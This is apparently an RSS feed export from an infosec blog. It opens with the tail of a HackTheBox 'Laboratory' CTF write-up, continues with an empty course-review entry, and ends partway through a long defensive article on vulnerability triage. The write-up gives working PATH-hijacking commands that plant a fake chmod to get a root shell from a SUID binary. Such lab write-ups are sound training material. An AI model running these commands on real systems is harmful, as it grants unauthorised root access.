&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; SIGCHLD &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Child exited&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
&amp;lt;... system resumed&amp;gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                        &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 256
+++ exited &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;status 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; +++
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So it appears the binary is making itself &lt;em&gt;root&lt;/em&gt; and then trying to &lt;em&gt;chmod&lt;/em&gt; some stuff. It’s &lt;em&gt;chmod&lt;/em&gt; can be our &lt;em&gt;chmod&lt;/em&gt; though! &lt;em&gt;That makes sense right?&lt;/em&gt; If we create our own binary named “chmod”, modify the PATH variable to include the path to our new &lt;strong&gt;chmod&lt;/strong&gt; binary and then run &lt;em&gt;docker-security&lt;/em&gt; again, we can then run commands as &lt;em&gt;root&lt;/em&gt;! Fun &lt;em&gt;PATH hijacking&lt;/em&gt; stuff…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/bash&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chmod
chmod&lt;/span&gt; +x &lt;span class=&quot;nb&quot;&gt;chmod
echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$PATH&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/tmp:&lt;span class=&quot;nv&quot;&gt;$PATH&lt;/span&gt;
/usr/local/bin/docker-security
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;w00t&lt;/strong&gt;!&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@laboratory:/usr/local/bin# &lt;span class=&quot;nb&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;root
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,1000&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;dexter&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Mon, 19 Apr 2021 01:40:00 -0400</pubDate>
        <link>https://shellsharks.com/htb-laboratory</link>
        <guid isPermaLink="true">https://shellsharks.com/htb-laboratory</guid>
        
        <category>hackthebox</category>
        
        <category>pentesting</category>
        
        <category>infosec</category>
        
        <category>appsec</category>
        
        <category>network</category>
        
        <category>red</category>
        
        <category>python</category>
        
        <category>kali</category>
        
        <category>nmap</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>SANS SEC588: Cloud Penetration Tester Review</title>
        <shark:summary><p>A mini-review of the SANS course SEC588: Cloud Penetration Tester</p>
</shark:summary>
        <description>
</description>
        <pubDate>Mon, 19 Apr 2021 01:00:00 -0400</pubDate>
        <link>https://shellsharks.com/gcpn-review</link>
        <guid isPermaLink="true">https://shellsharks.com/gcpn-review</guid>
        
        <category>infosec</category>
        
        <category>sans</category>
        
        <category>cloud</category>
        
        <category>pentesting</category>
        
        <category>red</category>
        
        <category>training</category>
        
        <category>aws</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Orchestrating Enterprise Vulnerability Triage</title>
        <shark:summary><p><strong>Vulnerability Triage</strong> is an essential component of any <a href="#a-primer-on-vulnerability-management">Vulnerability Management</a> (“VM”) program. I define <a href="#vulnerability-triage-deep-dive">Vulnerability Triage</a> as <em>the process of identifying disclosed vulnerabilities, mapping the affected products within these vulnerability disclosures to an environment inventory and then ultimately making decisions on how to address these correlated findings through subsequent analysis and prioritization</em>. In other words, as new vulnerabilities are disclosed (i.e. as a <a href="https://cve.mitre.org/">CVE</a> through <a href="https://nvd.nist.gov/">NVD</a>), there is a process to determine if systems in an environment are potentially affected. If so, what is the risk and what should be done about it? A high level depiction of this process is illustrated below. *<em>The “Decision” diamond in this diagram represents how the findings are ultimately processed with respect to escalation, remediation and mitigation.</em></p>
</shark:summary>
        <description>&lt;p&gt;&lt;strong&gt;Vulnerability Triage&lt;/strong&gt; is an essential component of any &lt;a href=&quot;#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; (“VM”) program. I define &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;Vulnerability Triage&lt;/a&gt; as &lt;em&gt;the process of identifying disclosed vulnerabilities, mapping the affected products within these vulnerability disclosures to an environment inventory and then ultimately making decisions on how to address these correlated findings through subsequent analysis and prioritization&lt;/em&gt;. In other words, as new vulnerabilities are disclosed (i.e. as a &lt;a href=&quot;https://cve.mitre.org&quot;&gt;CVE&lt;/a&gt; through &lt;a href=&quot;https://nvd.nist.gov&quot;&gt;NVD&lt;/a&gt;), there is a process to determine if systems in an environment are potentially affected. If so, what is the risk and what should be done about it? A high level depiction of this process is illustrated below. *&lt;em&gt;The “Decision” diamond in this diagram represents how the findings are ultimately processed with respect to escalation, remediation and mitigation.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/vulntriagehighlevel.png&quot; alt=&quot;vulntriagehighlevel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Every organization that has a VM program (and that really &lt;em&gt;should&lt;/em&gt; be &lt;strong&gt;every&lt;/strong&gt; organization) is doing some variation of this process. They may not explicitly call it “&lt;em&gt;Vulnerability Triage&lt;/em&gt;”, but they are doing it all the same. In my experience building and running VM programs over the years I have identified a number of commonalities, pitfalls, bottlenecks, high-friction areas and other points of interest related to this process of Vulnerablity Triage. The goal of this article is to describe in detail these findings, and how we can leverage &lt;strong&gt;orchestration&lt;/strong&gt; to perform enterprise-grade vulnerability triage at scale while eliminating some of the common friction points and bottlenecks I have alluded to.&lt;/p&gt;

&lt;h2 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management Primer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;Vulnerability Triage Deep-Dive&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#symphonic-vulnerability-surface-mapping&quot;&gt;Symphonic Vulnerability Surface Mapping (SVSM)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vulnscape&quot;&gt;SVSM Using Vulnscape&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;a-primer-on-vulnerability-management&quot;&gt;A Primer on Vulnerability Management&lt;/h1&gt;

&lt;p&gt;First, let’s quickly go over the concept of &lt;strong&gt;Vulnerability Management&lt;/strong&gt; (a.k.a. “VM”). VM in a nutshell is the continuous process of &lt;em&gt;identifying&lt;/em&gt;, &lt;em&gt;classifying&lt;/em&gt;, &lt;em&gt;analyzing&lt;/em&gt;, &lt;em&gt;prioritizing&lt;/em&gt;, &lt;em&gt;reporting&lt;/em&gt;, &lt;em&gt;remediating&lt;/em&gt; and &lt;em&gt;mitigating&lt;/em&gt; vulnerabilities. VM is ubiquitous in enterprise environments as it is fundamental to understanding (technical) risk across the information systems that comprise an IT organization. Without VM, gaps in protection (vulnerabilities) are not identified or not properly addressed which can lead to very real consequences such as exploitation, system compromise, data loss, compliance/regulatory violations and even full-scale breach of an organizations environment.&lt;/p&gt;

&lt;p&gt;In fact, VM is so fundamental it comes in &lt;a href=&quot;https://www.cisecurity.org/controls/&quot;&gt;third place (as of version 7.1) in the CIS (Center for Internet Security) top 20 “Critical Security Controls”&lt;/a&gt;. These 20 &lt;a href=&quot;https://www.cisecurity.org&quot;&gt;CIS&lt;/a&gt; controls collectively represent a &lt;strong&gt;prioritized&lt;/strong&gt; set of actions which have been established as best practices for mitigating a large majority of attacks against systems and networks. In essence, VM is pretty crucial to enterprise security, falling only behind &lt;em&gt;hardware/software inventory&lt;/em&gt; with respect to priority. This dependency is further illustrated below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/ciscontrols.png&quot; alt=&quot;ciscontrols&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Before moving on let’s quickly cover the aforementioned &lt;em&gt;inventory&lt;/em&gt; prerequisite. &lt;strong&gt;CIS Control 1: Hardware Inventory&lt;/strong&gt; and &lt;strong&gt;CIS Control 2: Software Inventory&lt;/strong&gt; as precursory actions are paramount to achieving effective VM. Essentially, you can’t hope to &lt;em&gt;manage&lt;/em&gt; vulnerabilities in an environment whereby you don’t have a complete understanding of all the software and hardware assets in that setting. The common saying being, &lt;em&gt;you can’t protect what you don’t know about&lt;/em&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;vulnerability-triage-deep-dive&quot;&gt;Vulnerability Triage Deep-Dive&lt;/h1&gt;

&lt;p&gt;Alright, now that we have a basic understanding of &lt;a href=&quot;#jump-to-section&quot;&gt;vulnerability triage&lt;/a&gt; and how it fits within the overarching &lt;a href=&quot;#a-primer-on-vulnerability-management&quot;&gt;Vulnerability Management&lt;/a&gt; process, let’s take a closer look at the individual steps for triage. These steps are summarized as well as illustrated in the respective list and diagram below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Triage Process Steps&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Step 0&lt;/strong&gt; ( &lt;em&gt;Pre-Triage&lt;/em&gt; ): Build/maintain a comprehensive and accurate &lt;a href=&quot;#asset-inventory&quot;&gt;asset inventory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 1&lt;/strong&gt;: Ingest &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability data/intelligence&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 2&lt;/strong&gt;: &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;Correlate vulnerability data with asset inventory&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 3&lt;/strong&gt;: Leverage metadata from vulnerability/asset data sources to perform &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 4&lt;/strong&gt;: *&lt;em&gt;&lt;a href=&quot;#prioritization&quot;&gt;Prioritize findings&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step 5&lt;/strong&gt; ( &lt;em&gt;Post-Triage&lt;/em&gt; ): **&lt;em&gt;&lt;a href=&quot;#treatment&quot;&gt;Treatment&lt;/a&gt;&lt;/em&gt; &lt;em&gt;of findings&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;*&lt;em&gt;More primitive implementations of vulnerability triage may not include the prioritization step. This can be considered an optional advanced element.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;**&lt;em&gt;Vulnerability treatment(s) are not considered part of the vulnerability triage process. It is listed merely as a means to show it’s relationship to the other portions of the triage process.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Triage Process Diagram&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/vulntriageprocess.png&quot; alt=&quot;Vuln Triage Steps&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;vulnerability-triage-levels&quot;&gt;Vulnerability Triage Levels&lt;/h4&gt;

&lt;p&gt;The goal of &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt; is to make decisions on how a vulnerability should be &lt;a href=&quot;#treamtents&quot;&gt;treated&lt;/a&gt;. Triage can involve a relatively quick analysis of whether a vulnerability is applicable to a specific environment all the way to full in-depth analysis of a particular vulnerability and how it affects specific systems. This scale from simple to thorough can be described using the levels detailed below. Each of the levels below can be considered “vulnerability triage”, just at different depths.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Level 1&lt;/strong&gt;: Answers the simple question, “&lt;em&gt;Is there any exposure?&lt;/em&gt;”. (i.e. are there vulnerabilities that affect products within an environment which do not have patches or controls which mitigate said vulnerability).&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Level 2&lt;/strong&gt;: Does the vulnerability meet any &lt;a href=&quot;#risk-criteria&quot;&gt;criteria&lt;/a&gt; that may result in the vulnerability being particularly high or critical risk? This involves taking a cursory glance at &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability&lt;/a&gt; and &lt;a href=&quot;#asset-inventory&quot;&gt;asset&lt;/a&gt; metadata.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Level 3&lt;/strong&gt;: Partial &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt;. Get a better understanding but not necessarily a full risk determination.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Level 4&lt;/strong&gt;: Complete &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt;. Get a complete understanding of risk to the environment.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Level 5&lt;/strong&gt;: Complete &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; and &lt;a href=&quot;#prioritization&quot;&gt;prioritization&lt;/a&gt;. Get not only a complete understanding of the risk to the environment but prioritize how that finding will be addressed in the context of other findings.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/levels.png&quot; alt=&quot;levels&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have a high level picture of the vulnerability triage process and some of the ways it can be defined, let’s dive a little deeper into each step…&lt;/p&gt;

&lt;h2 id=&quot;asset-inventory&quot;&gt;Asset Inventory&lt;/h2&gt;

&lt;p&gt;Having an accurate, comprehensive, up-to-date inventory of all software and hardware in an environment is one of the most important components of &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;Vulnerability Triage&lt;/a&gt;. In the absence of a single-source of record or master inventory, you can leverage multiple disparate sources of inventory. Some examples of asset inventory sources are listed below.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inventory Sources&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;IT Asset Management tools (ITAM)&lt;/li&gt;
  &lt;li&gt;Configuration Management Databases (CMDB)&lt;/li&gt;
  &lt;li&gt;GRC platforms (e.g. &lt;a href=&quot;https://www.rsa.com/de-de/products/integrated-risk-management/archer-platform&quot;&gt;Archer&lt;/a&gt;, &lt;a href=&quot;https://www.servicenow.com&quot;&gt;ServiceNow&lt;/a&gt;, &lt;a href=&quot;https://www.atlassian.com/software/jira/service-management/features/service-desk&quot;&gt;Jira SD&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;Application Lifecycle Managment (ALM) tools&lt;/li&gt;
  &lt;li&gt;Cloud inventory tools (e.g. &lt;a href=&quot;https://aws.amazon.com/systems-manager/&quot;&gt;AWS Systems Manager&lt;/a&gt;, &lt;a href=&quot;https://aws.amazon.com/config/&quot;&gt;AWS Config&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;Other (e.g. IPAM, scanning tools, etc…)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Within these inventory sources, or as part of the master asset inventory, there is certain metadata we are interested in for &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt;. Some examples of information elements of interest are listed below. Ultimately, this data is used to answer two essential questions, &lt;em&gt;what is our high-level exposure&lt;/em&gt;? and &lt;em&gt;what is the&lt;/em&gt; &lt;strong&gt;risk&lt;/strong&gt; &lt;em&gt;of any specific vulnerability as it applies to an affected system&lt;/em&gt;?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Inventory Metadata&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Vendor / product / version of software and hardware&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Unique system identifier (e.g. IP, hostname, netbios, etc…)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Ownership (e.g. business vertical, technical owner, etc…)&lt;/li&gt;
  &lt;li&gt;Data classification processed/stored by that system&lt;/li&gt;
  &lt;li&gt;Externality (e.g. external, internal, cloud, etc…)&lt;/li&gt;
  &lt;li&gt;Scope of affected systems&lt;/li&gt;
  &lt;li&gt;System to system relationships/affinities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Having a single master inventory with all of the aforementioned data would certainly make the process of &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vuln triage&lt;/a&gt; much easier. However, this information is not always readily available. In many organizations, there may be reliance on multiple inventory sources that collectively represent the entire environment. Or worse, there may be only a partial inventory or no real inventory at all! With respect to metadata, I suspect it is quite rare to have all the information detailed in the list above. The good news is however, as detailed in the section on &lt;a href=&quot;#vulnerability-triage-levels&quot;&gt;triage levels&lt;/a&gt;, vulnerability triage does not require everything listed. At a minimum, we need only a decent inventory which includes basic &lt;strong&gt;product information&lt;/strong&gt; ideally mapped to &lt;strong&gt;individual asset identifiers&lt;/strong&gt;. This could at least get us to a level 1 triage. &lt;em&gt;Put differently&lt;/em&gt;, if the inventory can tell us that product X exists on systems A, B and C, we are in good shape. With this, you can certainly make basic triage decisions. From there, the more &lt;em&gt;additional&lt;/em&gt; information you have, the more detailed your analysis can be (achieving &lt;a href=&quot;#vulnerability-triage-levels&quot;&gt;higher level triage&lt;/a&gt;) which in turn removes the added overhead required for manual &lt;a href=&quot;#risk-analysis&quot;&gt;analysis&lt;/a&gt; and ultimately yields better &lt;a href=&quot;#prioritization&quot;&gt;prioritization&lt;/a&gt; results.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability-intelligence&quot;&gt;Vulnerability Intelligence&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Alright!&lt;/em&gt; Once we have a solid &lt;a href=&quot;#asset-inventory&quot;&gt;asset inventory&lt;/a&gt;, we now need to collect information on known/disclosed vulnerabilities. I refer to this process of collecting vulnerability data and parsing the relevant metadata as &lt;strong&gt;Vulnerability Intelligence&lt;/strong&gt;. There is a plethora of vulnerability data sources both open-source/free as-well-as commercial we can leverage. From these vulnerability sources, we need to collect certain bits of metadata which help with vuln-to-product &lt;a href=&quot;#correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;correlation&lt;/a&gt; as well as &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt;. Below, I list a number of potential vulnerability data sources as well as some examples of important vulnerability metadata.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Vulnerability feeds (e.g. &lt;a href=&quot;https://nvd.nist.gov/vuln/data-feeds&quot;&gt;NVD&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cve/data_feeds.html&quot;&gt;MITRE&lt;/a&gt;, &lt;a href=&quot;https://securitytracker.com&quot;&gt;Security Tracker&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;VM vendor feeds (e.g. &lt;a href=&quot;https://www.qualys.com/research/security-alerts/&quot;&gt;Qualys&lt;/a&gt;, &lt;a href=&quot;https://www.qualys.com/research/security-alerts/&quot;&gt;Tenable&lt;/a&gt;, &lt;a href=&quot;https://www.rapid7.com/db/&quot;&gt;Rapid7&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;Security bulletins (e.g. &lt;a href=&quot;https://us-cert.cisa.gov/ncas/bulletins&quot;&gt;CISA&lt;/a&gt;, &lt;a href=&quot;https://aws.amazon.com/security/security-bulletins/?card-body.sort-by=item.additionalFields.bulletinDateSort&amp;amp;card-body.sort-order=desc&quot;&gt;AWS&lt;/a&gt;, &lt;a href=&quot;https://source.android.com/security/bulletin&quot;&gt;Android&lt;/a&gt;, &lt;a href=&quot;https://docs.microsoft.com/en-us/security-updates/securitybulletins/securitybulletins&quot;&gt;Microsoft&lt;/a&gt;, &lt;a href=&quot;https://www.oracle.com/security-alerts/&quot;&gt;Oracle&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;Exploit databases (e.g. &lt;a href=&quot;https://www.exploit-db.com&quot;&gt;exploit-db&lt;/a&gt;, &lt;a href=&quot;https://vuldb.com/?doc.about&quot;&gt;vuldb&lt;/a&gt;, &lt;a href=&quot;https://www.securityfocus.com&quot;&gt;SecurityFocus&lt;/a&gt;, &lt;a href=&quot;https://packetstormsecurity.com/about/&quot;&gt;packet storm&lt;/a&gt;, &lt;a href=&quot;https://vulners.com/search?query=!bulletinFamily:ioc%20order:published&quot;&gt;vulners&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;Social media (e.g. &lt;a href=&quot;https://twitter.com/&quot;&gt;Twitter&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;RSS (e.g. &lt;a href=&quot;https://blog.feedly.com/feedly-for-cybersecurity/&quot;&gt;Feedly&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/infosec-blogs#title&quot;&gt;curated research sources&lt;/a&gt;, etc…)&lt;/li&gt;
  &lt;li&gt;*Threat Intelligence sources&lt;/li&gt;
  &lt;li&gt;Consider support for the &lt;a href=&quot;https://oasis-open.github.io/csaf-documentation/&quot;&gt;Common Security Advisory Framework&lt;/a&gt; (CSAF).&lt;/li&gt;
  &lt;li&gt;and more…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;*As a side note, I wanted to quickly cover the difference between the concept of “Vulnerability Intelligence” and that of traditional &lt;strong&gt;Threat Intelligence&lt;/strong&gt; (TI) (at least from my point of view). Where I delineate between the two is the idea that threat intel exists only where there are known (active) &lt;em&gt;threats&lt;/em&gt; targeting an organization. Vulnerability intelligence on the other hand is where you have vulnerabilities which affect systems within an organizations environment. Together, where you have both a &lt;em&gt;threat&lt;/em&gt; and a &lt;em&gt;vulnerability&lt;/em&gt;, you have potential risk (the simple formula below represents this calculation). As you can (also) see via the image below, threat intel is typically a subset of vulnerability intel and is much smaller in volume. Finally, where you have known threats targeting vulnerabilities present in your environment you will likely need to invoke a &lt;a href=&quot;#vulnerability-escalation&quot;&gt;vulnerability escalation process&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;THREAT&lt;/strong&gt; * &lt;strong&gt;VULNERABILITY&lt;/strong&gt; = &lt;strong&gt;RISK&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/vulnthreatintel.png&quot; alt=&quot;threatvsvulnintel&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability Metadata&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Affected vendor / product / version&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; Base metrics (e.g. vector, complexity, privileges, user interaction, impact)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; Temporal metrics (e.g. exploit code maturity, remediation level, report confidence)&lt;/li&gt;
  &lt;li&gt;Evidence of active exploitation in the wild&lt;/li&gt;
  &lt;li&gt;Dwell-time (how long has the vulnerability been known)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All together, there is no shortage of sources to retrieve vulnerability data from and a wealth of relevant metadata to collect from within these sources. In fact, it is best practice when performing &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vuln triage&lt;/a&gt; / &lt;a href=&quot;#risk-analysis&quot;&gt;risk analysis&lt;/a&gt; to reference a multitude of disparate sources to build the most complete picture of the true risk of a vulnerability. The more information you have, the more detailed you can be ( &lt;a href=&quot;#vulnerability-triage-levels&quot;&gt;higher vuln triage level&lt;/a&gt; ) in that analysis and the higher fidelity your ultimate risk determination will be. With that said, you won’t always have a uniform/standardized view of a vulnerability and will need to make due with what is available. Similar to the inventory step, you need at a minimum the affected product (plus version) as well as &lt;em&gt;SOME&lt;/em&gt; manner of vulnerability metadata. The more metadata you have, the more precise you can be in your risk determination.&lt;/p&gt;

&lt;h2 id=&quot;correlating-vulnerability-intelligence-with-asset-inventory&quot;&gt;Correlating Vulnerability Intelligence with Asset Inventory&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;OK&lt;/strong&gt;, so we have our &lt;a href=&quot;#asset-inventory&quot;&gt;asset inventory&lt;/a&gt; and we have &lt;a href=&quot;#vulnerability-intelligence&quot;&gt;vulnerability intelligence&lt;/a&gt; to pair with it. From here we perform simple correlation between the products known to exist in our environment and the known vulnerabilities which affect those products. This rudimentary process is illustrated below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/vulnscape/correlation.png&quot; alt=&quot;correlation&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Typically, this correlation is performed through the process of &lt;strong&gt;Vulnerability Scanning&lt;/strong&gt;. This article doesn’t seek to cover scanning in much depth but it will be explained with the detail required to understand it’s function within the &lt;a href=&quot;#vulnerability-triage-deep-dive&quot;&gt;vulnerability triage&lt;/a&gt; process. In brief, vulnerability scanners are used to systematically detect and classify weaknesses on systems. Scanners perform this task in a variety of ways. By either authenticating directly then pulling a software inventory or by performing anonymous footprinting of a system, scanners can identify products and product versions across it’s scanned hosts. It then matches these identified products/versions using it’s own built in “plugins” which correspond to known vulnerabilities that affect respective products/versions.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;So if vulnerability scanners are already doing this correlation, what is the problem?&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Network vulnerability scanning tools rely on plugins provided by the scanner vendor to identify/correlate vulnerabilities. This means that if the vendor does not develop a plugin, a vulnerability may not be identified.&lt;/li&gt;
  &lt;li&gt;Plugins from the scanner vendors are not developed and released in real-time. This means there is some dwell-time between when a vulnerability is disclosed and when the vendor has developed a plugin available to identify it in an environment. This dwell-time means manual analysis may need to be performed for vulnerabilities which require immediate attention.&lt;/li&gt;
  &lt;li&gt;Scans of an environment are not performed real-time. Therefore, the data you are working with within the scan tool may be outdated when performing vulnerability triage correlation activities.&lt;/li&gt;
  &lt;li&gt;Scans are inherently &lt;em&gt;invasive&lt;/em&gt;. This means there will be systems that can not be scanned or do not support scanning activities. In these cases, you will have a blind spot with traditional scan-based vuln triage.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the vast majority of vulnerabilities, the speed in which findings must be “triaged” or otherwise analyzed for risk is completely satisfied by automated vulnerability scanning. In that world, high-risk findings are expected to be patched within some pre-set SLA timeframe, medium-risk findings have a different SLA and so on… It is the edge-cases (typically potential critical-risk findings), where manual triage is invoked and in those situations, there are improvements to be made.&lt;/p&gt;

&lt;p&gt;Take for example a &lt;a href=&quot;https://shellsharks.com/designer-vulnerabilities#title&quot;&gt;high-profile&lt;/a&gt; vulnerability or a zero-day vulnerability that has been &lt;a href=&quot;https://us-cert.cisa.gov/ncas/bulletins&quot;&gt;announced by CISA in a bulletin&lt;/a&gt;. Below are some example steps a security analyst/team might take in triaging this vulnerability.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cisa.gov&quot;&gt;CISA&lt;/a&gt; &lt;a href=&quot;https://us-cert.cisa.gov/ncas/bulletins&quot;&gt;announces a vulnerability&lt;/a&gt; that exhibits a few &lt;a href=&quot;#risk-criteria&quot;&gt;high/critical risk characteristics&lt;/a&gt;.&lt;/li&gt;
